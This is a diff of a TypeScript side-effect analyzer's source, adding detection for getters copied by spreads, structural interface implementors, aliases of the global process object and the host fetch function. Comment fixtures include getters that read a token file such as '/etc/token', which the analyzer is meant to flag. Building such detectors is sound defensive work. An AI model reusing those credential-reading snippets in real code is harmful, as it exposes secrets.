+      if (target) nodeName.set(prop, target);
+    }
+  }
+}
+function mintPositionalStructuralUnit(mod, sf, prop, name) {
+  const qual = `${mod}.<structural>@${prop.getStart()}.${name}`;
+  if (!fns.has(qual)) {
+    const { line, character } = sf.getLineAndCharacterOfPosition(prop.getStart());
+    fns.set(qual, { local: `<structural>.${name}`, direct: new Set(), fsKinds: new Set(), edges: new Set(),
+                    hosts: new Set(), tables: new Set(), cmds: new Set(), paths: new Set(), blind: new Set(),
+                    incomplete: new Set(), why: new Set(), entry: false,
+                    loc: `${path.relative(rootDir, sf.fileName)}:${line + 1}:${character + 1}`,
+                    endLine: sf.getLineAndCharacterOfPosition(prop.getEnd()).line + 1 });
+  }
+  nodeName.set(prop, qual);
+}
+for (const sf of sources) {
+  (function walkStructural(node) {
+    // An EMPTY object literal (`Object.assign({}, source)`'s target arg is the common real-world
+    // shape) has no property to ever complete a dispatch with, and registering it as a candidate only
+    // forces needless conservatism (every OTHER implementor resolving, this one never can, so the
+    // dispatch falls back to disclosed-Unknown for no reason). Skip it: nothing is lost, since it can
+    // never structurally satisfy an interface with any member on its own.
+    if (ts.isObjectLiteralExpression(node) && node.properties.length > 0) {
+      const decls = contextualInterfaceDeclsFor(node);
+      if (decls.length) {
+        for (const d of decls) registerStructuralImpl(d, node);
+        mintStructuralMembers(node);
+      }
+    } else if (ts.isClassExpression(node)) {
+      // Explicit `implements` on an anonymous/named class EXPRESSION — the nominal branch above only
+      // ever visits `ts.isClassDeclaration`, so `held = new (class implements Task { go(){…} })()`
+      // registered nowhere at all (not even as a candidate, unlike the object-literal shape) and its
+      // methods were never minted units either (`localName`'s method branch requires a ClassDeclaration
+      // parent). Reuse the SAME climb/registration and member-minting as the object-literal shape.
+      let registeredAny = false;
+      for (const h of node.heritageClauses ?? []) {
+        if (h.token !== ts.SyntaxKind.ImplementsKeyword) continue;
+        for (const t of h.types) {
+          let sym; try { sym = checker.getSymbolAtLocation(t.expression); } catch { sym = undefined; }
+          const tgt = sym && sym.flags & ts.SymbolFlags.Alias ? checker.getAliasedSymbol(sym) : sym;
+          for (const d of tgt?.declarations ?? [])
+            if (ts.isInterfaceDeclaration(d) && projectFiles.has(path.resolve(d.getSourceFile().fileName))) {
+              registerStructuralImpl(d, node);
+              registeredAny = true;
+            }
+        }
+      }
+      if (registeredAny) mintStructuralMembers(node);
+    }
+    ts.forEachChild(node, walkStructural);
+  })(sf);
+}
+
 // Accessor resolution (the silent-pure-accessor fix): a property READ (`x.raw`) or property
 // ASSIGNMENT target (`x.path = v`) may resolve to a getter/setter whose body performs effects. We
 // resolve the property-name symbol to its declarations and look for an accessor of the matching
@@ -3910,11 +4347,122 @@ function recordAccessorHit(owner, hit, label) {
 // invisible to the property-access arm (no PropertyAccess node per key). Edge `owner` to every LOCAL
 // getter on the source type. A rest/spread can't name one key, so ALL getters are enumerated (sound
 // over-approximation); a plain prop resolves to no accessor and adds nothing (no fabrication).
-function enumerateGetters(owner, type) {
-  if (!owner || !type || !type.getProperties) return;
-  for (const p of type.getProperties()) {
-    const hit = accessorFromSym(p, "get");
-    if (hit) recordAccessorHit(owner, hit, p.getName());
+//
+// R115 — AND "OWN ENUMERABLE" IS THE HALF THE BODY DID NOT APPLY, so this fabricated on every class.
+// `type.getProperties()` returns the INHERITED prototype surface, and a `class C { get token() {…} }`
+// accessor is installed on `C.prototype` and NON-enumerable — so spread/assign/rest never copy it and
+// never call it. EXECUTED, node 22.12.0, counting getter invocations:
+//
+//     {...c}  0     Object.assign({},c)  0     const {...r}=c  0     {...new Sub()}  0   (Sub extends Base)
+//     {...objectLiteral}  1     const {tok}=c  1     c.tok  1     {...Object.create(protoWithGetter)}  0
+//
+//     export class Session { id = 1; get token(){ return fs.readFileSync("/etc/token","utf8"); } }
+//     export function clone(s: Session) { return { ...s }; }
+//
+//     before:  src.a.clone ['Fs']   `deny Fs` -> exit 1     executed: {"copied":{"id":1},"calls":0}
+//     after:   src.a.clone absent   `deny Fs` -> exit 0
+//
+// A FALSE POSITIVE, not a miss — it fails a gate on a function that performs nothing, and the whole
+// value of a `deny` gate is that a red one means something.
+//
+// NARROWED AS A DENYLIST, per the family rule: the exclusion fires ONLY for an accessor whose every
+// get-declaration sits directly in a `class` body (ClassDeclaration/ClassExpression), which is provably
+// prototype-installed. An INTERFACE or TYPE-LITERAL `get token(): string` stays charged, because the
+// runtime object behind that type may be an object literal, whose getter IS own+enumerable and DOES
+// fire. `every`, not `find`: a union/intersection property symbol carries declarations from each
+// constituent, and `Session | { get token(): string }` must stay charged on the strength of its
+// object-literal arm (measured — `src.b.cloneUnion` keeps `Fs`).
+//
+// `JSON.stringify(c)` and `Object.entries(c)` STAYING PURE IS CORRECT and is not this fix: both read
+// own enumerable props too (executed: 0 invocations on a class instance), and neither is enumerated
+// here in the first place.
+//
+// THE HOLE THIS OPENS IS REAL, MEASURED, AND HALF-CLOSED BELOW, not asserted away. TypeScript is
+// STRUCTURAL, so a value whose static type is a class can be an object literal with an OWN enumerable
+// getter — executed, `{...structural}` invokes it once:
+//
+//     export const structural: Session = { id: 1, get token(){ return fs.readFileSync("/etc/s","utf8"); } };
+//
+// The `srcExpr` arm below resolves the spread source through its BINDING to an object-literal
+// initializer and enumerates THAT literal's accessors, so this spelling stays charged. It is a
+// widening — it can only add — so it cannot itself hide anything.
+//
+// R120 — AND THE SENTENCE THAT USED TO FOLLOW WAS FALSE, WHICH IS THE §E2 SHAPE EXACTLY. It read
+// "what it does NOT reach is a structural literal arriving through a PARAMETER or a call return",
+// i.e. it stated the residual as a closed list of two. The arm's first cut required `srcExpr` to be a
+// bare Identifier and read `getSymbolAtLocation(srcExpr).declarations` WITHOUT following an alias, so
+// FOUR more spellings fell out of it — and the first of them is the one the paragraph implicitly
+// promised, a plain `const` binding reached across a MODULE. Measured at e5c60bc by PRINTING the
+// resolved declaration at the point the arm fires, never by reading the code:
+//
+//     src=src/a.ts:4  owner=src.a.clone  srcExprKind=Identifier  text="structural"
+//       symDecls     =["ImportSpecifier@src/a.ts:1"]                           ← what the arm looked at
+//       aliasedDecls =["VariableDeclaration@src/lib.ts:8 init=ObjectLiteral"]  ← what it needed
+//
+//   1. `import { structural } from "./lib"; {...structural}`  → the symbol is an ALIAS; its own
+//      declaration is the ImportSpecifier, so the VariableDeclaration test failed and the row went
+//      ABSENT. `deny Fs src.a.clone` exited 0 over a spread that invokes an fs-reading getter. A
+//      SILENT UNDER-REPORT, and it is the shape any multi-file project has.
+//   2. `const o = { get k(){…} } as Session`      → initializer is an AsExpression, not a literal.
+//   3. `const o = ({ get k(){…} })`               → initializer is a ParenthesizedExpression.
+//   4. `{...(structural)}` / `{...(o as T)}` / `{...o!}` → srcExpr is not an Identifier at all.
+//
+// `const o = {…} satisfies Session` is a FIFTH spelling of the same question that the arm also misses,
+// and it is charged anyway — `satisfies` keeps the literal's own type, so its getter declaration sits
+// in an ObjectLiteralExpression and `classBodiedGetter` never excludes it. Covered by a different
+// mechanism, so it is a control here rather than a fix: two paths answering one question is exactly
+// the R109/R110/R111 shape, and their agreement is not evidence.
+//
+// All four are closed by UNWRAPPING and ASKING THE ALIAS (§G — the checker already knows), and every
+// one of them is a WIDENING: it can only add accessor hits, never remove one, so the direction it
+// fails in is over-charge, not silence.
+//
+// WHAT IS STILL NOT REACHED, stated as the open list it is rather than a closed one: a structural
+// literal arriving through a PARAMETER, through a call return, or through a PROPERTY ACCESS
+// (`{...holder.inner}`, `{...this.o}`) — none has a binding whose initializer this can read. All three
+// are pinned by fixtures asserting today's (wrong) answer, so closing one shows up as an expectation
+// that changed. Before R115 those spellings were charged only by COINCIDENCE — the class accessor's
+// effects were reported in place of the literal's, which is the right verdict off the wrong evidence.
+function classBodiedGetter(sym) {
+  const decls = (sym?.declarations ?? []).filter((d) => ts.isGetAccessorDeclaration(d));
+  return decls.length > 0 && decls.every((d) => ts.isClassDeclaration(d.parent) || ts.isClassExpression(d.parent));
+}
+function enumerateGetters(owner, type, srcExpr) {
+  if (!owner) return;
+  if (type && type.getProperties) {
+    for (const p of type.getProperties()) {
+      if (classBodiedGetter(p)) continue; // prototype + non-enumerable → not copied by a spread
+      const hit = accessorFromSym(p, "get");
+      if (hit) recordAccessorHit(owner, hit, p.getName());
+    }
+  }
+  // The structural arm: `const o: SomeClass = { get k(){…} }` — the BINDING's initializer is an object
+  // literal, so its accessors are own+enumerable and the copy DOES invoke them, whatever the annotation
+  // says. Follows a plain binding only (one hop, no calls, no conditionals); adds, never removes.
+  //
+  // R120 — THREE UNWRAPS AND ONE ALIAS HOP, because the question is which OBJECT is being copied and
+  // none of these four wrappers changes that answer. Each is a spelling measured absent at e5c60bc.
+  let se = srcExpr;
+  while (se && (ts.isParenthesizedExpression(se) || ts.isAsExpression(se)
+                || ts.isSatisfiesExpression(se) || ts.isNonNullExpression(se))) se = se.expression;
+  if (!se || !ts.isIdentifier(se)) return;                                  // parameter / call return / member
+  let sym0 = checker.getSymbolAtLocation(se);
+  if (!sym0) return;
+  // An IMPORTED binding's own declaration is the ImportSpecifier/ImportClause, never the `const` that
+  // holds the literal — so without this hop every cross-module spread read the alias and gave up. This
+  // is the same `getAliasedSymbol` call the fetch import arm already makes for the same reason.
+  if (sym0.flags & ts.SymbolFlags.Alias) { try { sym0 = checker.getAliasedSymbol(sym0) ?? sym0; } catch { /* unresolved import */ } }
+  for (const d of sym0.declarations ?? []) {
+    if (!ts.isVariableDeclaration(d) || !d.initializer) continue;
+    let init = d.initializer;
+    while (ts.isParenthesizedExpression(init) || ts.isAsExpression(init)
+           || ts.isSatisfiesExpression(init) || ts.isNonNullExpression(init)) init = init.expression;
+    if (!ts.isObjectLiteralExpression(init)) continue;
+    for (const pr of init.properties) {
+      if (!ts.isGetAccessorDeclaration(pr)) continue;
+      const nm = pr.name?.getText?.() ?? "?";
+      recordAccessorHit(owner, { decl: pr, local: projectFiles.has(path.resolve(pr.getSourceFile().fileName)) }, nm);
+    }
   }
 }
 
@@ -4312,11 +4860,15 @@ const dispatchWhy = (qualifiedOwner, member) =>
 // or the dependency's own report already answered by omission — SPEC §2 rule 3) — never a fourth,
 // unexamined silent case. Called directly for a resolved external CallExpression too (see the CLASSIFY
 // arm and the tagged-template arm) so the whole family shares one implementation.
-function disclosureTail(rec, decl, pkg, file) {
+// ⟨R137⟩ `member` is the SAME token κ was asked with at the caller, threaded rather than re-derived
+// here: the ledger's question is "did κ cover THIS call", and re-deriving the member from `decl` would
+// be a second spelling of it that could drift from the first (§G — where two paths compute one fact,
+// make them disagree; better still, do not have two).
+function disclosureTail(rec, decl, pkg, file, member) {
   const declared = packageManifestEffects(file);
   if (declared !== null) { for (const e of declared) rec.direct.add(e); return; } // [] = declared pure
   const abstraction = unanswerableKey(decl);
-  if (!kappaKnows(pkg) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
+  if (!kappaKnows(pkg, member) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
     unlistedSeen.set(pkg, (unlistedSeen.get(pkg) ?? 0) + 1);
     rec.blind.add(pkg);
     // ⟨0.21⟩ A package chained ONLY by a SELF-DECLARED-INCOMPLETE report reaches this arm because its
@@ -4371,7 +4923,7 @@ function chargeExternalDecl(rec, decl, tailOverride) {
     : member && ((owner ? crossDeps.get(`${pkg}#${owner}.${member}`) : undefined)
       ?? crossDeps.get(`${pkg}#${member}`));
   if (hit) { applyDepHit(rec, hit); return; }
-  disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName);
+  disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName, member);
 }
 
 // ---- implicit VALUE-COERCION desugaring (the silent-pure holes where the JS coercion protocol calls a
@@ -4394,10 +4946,28 @@ function isCoercionMemberDecl(m) {
     || ts.isPropertyDeclaration(m) || ts.isPropertyAssignment(m)
     || ts.isFunctionDeclaration(m) || ts.isFunctionExpression(m) || ts.isArrowFunction(m));
 }
-// Find member `name` declared on LOCAL class `cls` or the nearest local ancestor that declares it.
+// Find member `name` declared on LOCAL class/structural-implementor `cls` or the nearest local ancestor
+// that declares it. `cls` comes from `coercionChaClasses`, which (since PART 87) reads the SAME
+// `interfaceImpls` registry the ordinary interface-CHA dispatch site reads — and that registry now holds
+// structural implementors (`ObjectLiteralExpression`, `.properties`) alongside nominal classes
+// (`ClassDeclaration`/`ClassExpression`, `.members`), never guaranteed to be one shape.
+//
+// ⟨CARDINAL SIN FIX, coercion-CHA structural gap⟩ this used to read only `cur.members`, so a structural
+// implementor's `.properties` was invisible: `(undefined ?? []).find(...)` always empty, never a match,
+// never a crash — "degrades gracefully" in the sense of not throwing, but it silently dropped every
+// coercion member a structural implementor declared. MEASURED (candor-attack2, 2026-09-01): an interface
+// implemented ONLY structurally, with an effectful `toString`, coerced via a template literal — PRE-PART-
+// 87 this correctly charged `<module>` with Fs (the un-minted object-literal body was walked inline, as
+// part of whatever textually contained it); POST-PART-87 the SAME `toString` is extracted into its own
+// addressable unit by `mintStructuralMembers` (correct — it is no longer folded into an enclosing scope's
+// direct effects) but this function could never find it to edge to it, so the extraction cost the
+// disclosure it used to get for free and `<module>`/`stringify` both vanished from `functions[]` PURE.
+// The general interface-CHA dispatch site already has the fix's own shape for this (`cls.members ??
+// cls.properties ?? []`, its own PART 87 comment) — this mirrors it rather than inventing a second rule.
 function localClassMember(cls, name) {
   for (let cur = cls, guard = 0; cur && guard++ < 64; cur = localBaseClassOf(cur)) {
-    const m = (cur.members ?? []).find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
+    const memberNodes = cur.members ?? cur.properties ?? [];
+    const m = memberNodes.find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
     if (m && declIsLocal(m)) return m;
   }
   return null;
@@ -4834,6 +5404,15 @@ const declImportsNodeProcess = (decl) => {
   const text = spec && ts.isStringLiteral(spec) ? spec.text : null;
   return text === "node:process" || text === "process";
 };
+// R93: a local SYMBOL that merely HOLDS the global process object — `const p = globalThis.process`,
+// `const { process } = globalThis as any` — was indistinguishable from a project-local `process` shadow,
+// because both have their OWN declaration inside a project file, and that was the entire test below for
+// "is this the ambient global". Reaching the object through a variable does not change its identity;
+// `identIsGlobalProcess` must not treat it as if it did. `processAliasSymbols` is the single authority
+// both the bare-identifier check below AND the `{env} = process` destructure detection already
+// downstream consult — the fix in one place, per brief §F1 item 3 ("make the two paths share one
+// authority", not patch the losing copy). Populated by the pre-pass immediately below.
+const processAliasSymbols = new Set();
 const identIsGlobalProcess = (id) => {
   if (!id) return false;
   // `globalThis.process` / `global.process` — the SAME process object reached off the global (isomorphic code:
@@ -4847,11 +5426,60 @@ const identIsGlobalProcess = (id) => {
       return !gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
     }
   }
-  if (!ts.isIdentifier(id) || id.text !== "process") return false;
-  const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
-  if (decls.some(declImportsNodeProcess)) return true;                       // `import process from 'node:process'`
-  return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))); // else the ambient global
+  if (!ts.isIdentifier(id)) return false;
+  if (id.text === "process") {
+    const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
+    if (decls.some(declImportsNodeProcess)) return true;                       // `import process from 'node:process'`
+    if (!decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) return true; // ambient global
+  }
+  // A local binding under ANY name (`p`, `process`, whatever) whose sole initializer is confirmed —
+  // by the pre-pass below — to be the global process object itself.
+  const sym = checker.getSymbolAtLocation(id);
+  return !!sym && processAliasSymbols.has(sym);
 };
+// Pre-pass: a variable is a process alias iff EITHER (a) a plain identifier bound `= globalThis.process`
+// / `= global.process` / `= process` (bare, ambient — casts/parens/`!` unwrapped), or (b) an object
+// destructure that picks `process` (by property name, any local alias — `{ process }` or
+// `{ process: p }`) directly off an ambient `globalThis`/`global` root. No reassignment-clearing here
+// (unlike envAliasSymbols): a `let` rebound to something else is a narrowing this pass does not attempt,
+// so it is conservative in the SAFE direction only if downstream never mutates a `const`-only signal —
+// callers only ever declare these `const` in practice; a `let` reassigned away still resolves any READ
+// before the reassignment correctly and any read after it would need flow-sensitivity this class of
+// alias-set does not have anywhere else in this file either (see envAliasSymbols for the same posture).
+{
+  const isGlobalProcessInitializer = (expr) => {
+    if (!expr) return false;
+    let e = expr;
+    while (ts.isParenthesizedExpression(e) || ts.isAsExpression(e) || ts.isNonNullExpression(e)) e = e.expression;
+    return identIsGlobalProcess(e); // handles `globalThis.process` / `global.process` / bare ambient `process`
+  };
+  const collectProcessAliases = (node) => {
+    if (ts.isVariableDeclaration(node) && node.name && ts.isIdentifier(node.name) && node.initializer) {
+      if (isGlobalProcessInitializer(node.initializer)) {
+        const sym = checker.getSymbolAtLocation(node.name);
+        if (sym) processAliasSymbols.add(sym);
+      }
+    } else if (ts.isVariableDeclaration(node) && node.name && ts.isObjectBindingPattern(node.name) && node.initializer) {
+      let root = node.initializer;
+      while (ts.isParenthesizedExpression(root) || ts.isAsExpression(root) || ts.isNonNullExpression(root)) root = root.expression;
+      if (ts.isIdentifier(root) && (root.text === "globalThis" || root.text === "global")) {
+        const gd = checker.getSymbolAtLocation(root)?.declarations ?? [];
+        if (!gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) {
+          for (const el of node.name.elements) {
+            const propName = el.propertyName ? (ts.isIdentifier(el.propertyName) ? el.propertyName.text : null)
+                                             : (ts.isIdentifier(el.name) ? el.name.text : null);
+            if (propName === "process" && ts.isIdentifier(el.name)) {
+              const sym = checker.getSymbolAtLocation(el.name);
+              if (sym) processAliasSymbols.add(sym);
+            }
+          }
+        }
+      }
+    }
+    ts.forEachChild(node, collectProcessAliases);
+  };
+  for (const sf of sources) collectProcessAliases(sf);
+}
 // `process.env` as an expression (PropertyAccess `process.env` where `process` is the global).
 const isProcessEnvExpr = (expr) =>
   expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
@@ -4958,6 +5586,130 @@ const envTouchingBuiltinCall = (node) => {
   return false;
 };
 
+/** ⟨R95⟩ Does this CALL reach the host's `fetch`, whatever the callee is spelled as?
+ *
+ * The declaration-keyed twin of the callee-keyed guards in the global classifier (see the arm that uses
+ * it for the five spellings those guards missed). Four conditions, each one load-bearing:
+ *
+ *  1. AMBIENT FUNCTION NAMED `fetch`. The host's fetch is a bodyless `function fetch` declaration:
+ *     `@types/node`'s `web-globals/fetch.d.ts` inside its `declare global` block (what `types: ["node"]`
+ *     supplies, so the common case), lib.dom's `declare function fetch`, or an older @types/node's
+ *     `globals.d.ts`. Keying on the FILE would have to enumerate those three and would go stale with the
+ *     next @types/node layout — this shape does not.
+ *     THE `d.body` HALF IS A SCOPE STATEMENT, NOT A PROVEN GUARANTEE, and is written down as the
+ *     assumption it is: it keeps this arm off DEPENDENCY IMPLEMENTATIONS, where "returns
+ *     `Promise<Response>`" is a weak signal (a pure `function fetch(u) { return new Response(u) }` has
+ *     that exact type), leaving those to the import arm above and the κ/invisible channel that already
+ *     own them. No fixture drives it: every dep-source shape tried was already charged Net by an
+ *     earlier arm, so deleting it changed nothing measurable. Narrower than the alternative, which is
+ *     the side to be wrong on here.
+ *  2. NOT A PROJECT FILE. A project's own `fetch` shadow must never fabricate Net — control 3, and the
+ *     same test every arm above makes.
+ *  3. THE RESOLVED DECLARATION IS A GLOBAL, unless it crosses a package boundary. ⟨R121 — THIS
+ *     REPLACES A GUARD THAT WAS WRONG IN BOTH DIRECTIONS AT ONCE.⟩ The guard here used to ask whether
+ *     the CALLEE'S HEAD IDENTIFIER came from a RELATIVE import, and both halves of that failed:
+ *
+ *       FABRICATION — one binding hop erases the import from the head identifier, so a project-owned
+ *       shim was charged Net. MEASURED at 30fc8ea by PRINTING the resolved declaration, not by reading
+ *       the code, over a `vendor/shim.ts` whose implementation returns a canned Response and touches
+ *       nothing (`export function fetch(u): Promise<Response>;` × 2 overloads + a pure body):
+ *
+ *         const { fetch } = shimNamespace;  fetch(u)     head=BindingElement     → Net   FABRICATED
+ *         const { fetch } = shimDefault;    fetch(u)     head=BindingElement     → Net   FABRICATED
+ *         const f = shim.fetch;             f(u)         head=VariableDeclaration→ Net   FABRICATED
+ *         const s = shim;                   s.fetch(u)   head=VariableDeclaration→ Net   FABRICATED
+ *         import * as shim from "./shim";   shim.fetch(u)  head=NamespaceImport  → absent (guard held)
+ *
+ *       and every one of those four printed `RESOLVED_DECL=vendor/shim.ts:1`. So the arm was NOT
+ *       "treating a local shim as the host global" — it never asked. It read four proxies for the
+ *       host's identity and a project's own OVERLOAD SIGNATURE satisfies three of them (bodyless,
+ *       named `fetch`, `Promise<Response>`), with the fourth defeated by the hop.
+ *
+ *       SILENCE — the head identifier is not always the fetch value. `slot.fetch(u)`, where
+ *       `slot` is relatively imported and `slot = { fetch: globalThis.fetch }`, has head `slot`, so
+ *       the old guard rejected on an import that says nothing about which function is being called:
+ *       the REAL host fetch, ABSENT, `deny Net` exit 0. Its sibling spelling `const { fetch } = slot`
+ *       was charged Net in the same file — one value, two answers, selected by punctuation.
+ *
+ *     ASK THE AUTHORITY INSTEAD (§G). The host's `fetch` is a GLOBAL declaration and nothing else is:
+ *     it sits inside a `declare global` block (`@types/node/web-globals/fetch.d.ts:23`, printed) or at
+ *     the top level of a non-module lib file (lib.dom's `declare function fetch`, printed). A module's
+ *     `export function fetch` is reachable only by importing it, so it is never the host global — no
+ *     matter where its file lives, whether the scan included it, or how the callee is spelled.
+ *     THE DEPENDENCY ESCAPE IS LOAD-BEARING AND IS THE DIRECTION THIS GUARD FAILS IN: a real
+ *     DEPENDENCY exports `fetch` module-scoped too (`import * as nf from "node-fetch-native";
+ *     const { fetch } = nf; fetch(u)` — the import arm above only sees the direct spelling, so this arm
+ *     is the only thing charging the hop). Without the escape that call goes SILENT, so the exclusion
+ *     is a DENYLIST of one provable shape — module-scoped AND not reached as a dependency — never an
+ *     allowlist of the host's file paths, which would go stale with the next @types/node layout.
+ *
+ *     ⟨R138 — THE ESCAPE WAS SPELLED `crossesPackageBoundary` AND THAT ASKED THE WRONG QUESTION.⟩
+ *     `crossesPackageBoundary` asks whether some OTHER `package.json` sits above the declaration's
+ *     file: a question about the FILESYSTEM. What this arm needs is whether the declaration was
+ *     reached AS A DEPENDENCY — a question about the MODULE SPECIFIER, which is the property R95's
+ *     guard promised ("the specifier decides, not file-set membership") and which keying on the
+ *     filesystem quietly dropped. MEASURED over two trees differing by exactly one one-line file:
+ *
+ *       src/main.ts  import { fetch } from "../vendor/shim"; fetch(u)      e5c60bc      HEAD
+ *         with vendor/package.json                                         inferred []  ["Net"]
+ *         without it                                                       inferred []  []
+ *
+ *     — one value, two answers, selected by a `{"type":"module"}` marker. EXECUTED against a real
+ *     127.0.0.1 listener: the shim's `fetch` delivers 0 requests and opens 0 TCP connections in both
+ *     spellings, while the host's own `fetch` to the same listener in the same process counted 1 and 1.
+ *
+ *     ASK THE AUTHORITY, AGAIN (§G). TypeScript's module resolution already recorded the answer:
+ *     `program.isSourceFileFromExternalLibrary` is true exactly when a file was reached through node
+ *     module resolution rather than a relative path. PRINTED at this arm before the code was written:
+ *     `vendor/shim.d.ts` via `../vendor/shim` is FALSE with and without the stray package.json, and a
+ *     workspace package's `dist/index.d.ts` reached as `@mono/mock` through a symlink is TRUE even
+ *     though its real path has no `node_modules/` segment — which is exactly why the authority here is
+ *     the resolution record and not a path test.
+ *     WHERE IT FAILS: too narrow ⇒ this arm stops charging Net for a real dependency reached WITHOUT
+ *     node module resolution (a tsconfig `paths` alias; a dependency copy vendored into the tree).
+ *     Such a call does NOT go silent — `crossesPackageBoundary` still governs the κ-coverage ledger, so
+ *     it keeps `invisible:[pkg]`, the honest answer for a body this scan never read (measured: the
+ *     shim row above carries `invisible:["vendor-shim"]` with and without this narrowing). Bounded, in
+ *     the other direction, to declarations that are both module-scoped and not a resolved dependency —
+ *     the project's own source, which candor analyses as its own units and reaches by an EDGE rather
+ *     than by this arm. That is the same bargain guard (2) already makes for `projectFiles`, extended
+ *     to the project files a given scan's shape happens to leave out.
+ *  4. SHAPED LIKE THE WEB FETCH — returns `Promise<Response>`. Not a new judgement: it is the identical
+ *     question the import arm above already asks of the identical authority, and it exists because a
+ *     package exporting a pure `fetch(key)` cache-getter was once charged Net on its name alone.
+ *
+ * NOT a `.d.ts` file test: an ambient declaration is what (1) already asks for, and a file-extension
+ * test would add a second, weaker spelling of the same question. */
+// Is this declaration in GLOBAL scope — `declare global { … }`, or the top level of a source file that
+// is not an external module? Everything else is reachable only through an import and is therefore some
+// module's own export, never the host global.
+const declaredInGlobalScope = (d) => {
+  for (let n = d.parent; n; n = n.parent) {
+    if (ts.isModuleDeclaration(n)) return !!(n.flags & ts.NodeFlags.GlobalAugmentation);
+    if (ts.isSourceFile(n)) return !ts.isExternalModule(n);
+  }
+  return false;
+};
+// ⟨R138⟩ Was this declaration's file reached AS A DEPENDENCY — i.e. through node module resolution
+// from a bare specifier — rather than through a relative path? `ts.Program` records this while it
+// resolves, so this is the compiler's own answer to the question, not a second reading of the tree.
+// Guarded because a declaration synthesised outside the program has no source file the program knows.
+const declReachedAsDependency = (d) => {
+  try { return program.isSourceFileFromExternalLibrary(d.getSourceFile()); } catch { return false; }
+};
+const resolvedIsHostFetch = (call) => {
+  if (!ts.isCallExpression(call)) return false;
+  let sig; try { sig = checker.getResolvedSignature?.(call); } catch { return false; }
+  const d = sig?.declaration;
+  if (!d || !ts.isFunctionDeclaration(d) || d.body) return false;               // (1)
+  if (d.name?.text !== "fetch") return false;                                   // (1)
+  const df = path.resolve(d.getSourceFile().fileName);
+  if (projectFiles.has(df)) return false;                                        // (2)
+  if (!declaredInGlobalScope(d) && !declReachedAsDependency(d)) return false;    // (3)
+  let rt; try { rt = checker.typeToString(checker.getReturnTypeOfSignature(sig)); } catch { return false; }
+  return /\bResponse\b/.test(rt);                                                // (4)
+};
+
 // A bare-identifier call whose callee is DEFAULT- or NAMED-imported from a known HTTP-client package is a
 // Net call (corpus-audit #13). The κ table lists these packages, but its rule only fires on a MEMBER call
 // (`axios.get(…)`); a default-imported callable invoked bare — the canonical `import fetch from 'node-fetch';
@@ -4992,6 +5744,22 @@ function visitCalls(node) {
       const rec = fns.get(owner);
       const sig = checker.getResolvedSignature(node);
       let decl = sig && sig.declaration;
+      // ⟨R103⟩ A WRITABLE SLOT IS AN INCOMPLETE CANDIDATE SET — see `openCallSlot`, and see the class-
+      // override fan-out below, which is the authority this converges on rather than a second rule: it
+      // edges to every candidate it CAN name and adds `Unknown` when the set it enumerated is not
+      // provably the whole one (⟨0.35⟩ "A NON-EMPTY CANDIDATE SET IS NOT A COMPLETE ONE"). A slot's
+      // candidate set is exactly that shape — {the initializer} ∪ {whatever wrote it} — so the
+      // resolution below runs UNCHANGED and this only ADDS.
+      //
+      // ADDITIVE ON PURPOSE, and this was measured, not assumed. The first cut REPLACED the resolution
+      // instead of joining it, and the hono A/B caught it: `hc` went `["Clock","Net","Unknown"]` →
+      // `["Net","Unknown"]`, because dropping the edge to `ClientRequestImpl.fetch` discarded the one
+      // body we CAN see. That flips `deny Clock` from exit 1 to exit 0 — a fix for a silent under-report
+      // introducing a silent under-report, which is this project's most-measured way to get it wrong.
+      // Union cannot do that: no effect is ever removed, so no firing gate can go green. The price is
+      // that the fabrication direction (`private h = fsThing; this.h = pureArrow` charging Fs) is only
+      // DISCLOSED by the added `Unknown`, not cured. That is the right side to be wrong on.
+      const slotCallee = decl ? openCallSlot(node) : null;
       if (!decl) {
         // `new C()` on a class with an IMPLICIT constructor resolves to no declaration — edge to
         // the class's (synthesized) ctor unit via the class identifier before concluding Unknown.
@@ -5381,8 +6149,15 @@ function visitCalls(node) {
                   let allResolved = true;
                   const targets = [];
                   for (const cls of impls) {
-                    const m = (cls.members ?? []).find((x) =>
-                      (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x)) && x.name?.getText?.() === member);
+                    // ⟨0.35, PART 87 fix⟩ `cls` may be a ClassDeclaration/ClassExpression (`.members`) OR
+                    // a structural implementor — an ObjectLiteralExpression (`.properties`) registered by
+                    // the structural-implementor pass above. A PropertyAssignment (`go: () => …`) is the
+                    // object-literal spelling `ts.isMethodDeclaration`/`ts.isPropertyDeclaration` alone
+                    // don't match; accepted here alongside them.
+                    const memberNodes = cls.members ?? cls.properties ?? [];
+                    const m = memberNodes.find((x) =>
+                      (ts.isMethodDeclaration(x) || ts.isPropertyDeclaration(x) || ts.isPropertyAssignment(x))
+                      && x.name?.getText?.() === member);
                     const t = m && nodeName.get(m);
                     if (t) targets.push(t);
                     else allResolved = false;
@@ -5435,7 +6210,27 @@ function visitCalls(node) {
             rec.direct.add("Unknown");
             rec.why.add("reflect:eval"); // eval executes a runtime-supplied string — canonical `reflect:`
           }
-          if ((parent === "DateConstructor" && name === "now") || (parent === "Performance" && name === "now"))
+          // R111 — the `Performance` member set is the SHARED constant, not a literal repeated here.
+          // `performance.mark("m")` and `performance.measure("m")` read the clock and reported nothing
+          // under lib.dom AND under `@types/node` — a member-coverage gap that was invisible precisely
+          // BECAUSE the two resolution paths agreed, which is the third way this pair of tables has now
+          // been wrong (R109 lib.dom-silent, R110 node-silent, R111 both-silent-together). Importing
+          // `CLOCK_READING_PERFORMANCE_MEMBERS` rather than restating the names is the smallest thing
+          // that makes their AGREEMENT mean anything: the two arms can no longer be widened separately,
+          // which is the single degree of freedom that produced all three rows. Ground truth is EXECUTED
+          // and recorded at the constant, together with the members deliberately NOT charged (`timerify`,
+          // `toJSON`, `timeOrigin`, the `getEntries*` surface) and the measurement for each.
+          // `DateConstructor.now` is NOT part of that set and keeps its own test: it is a different
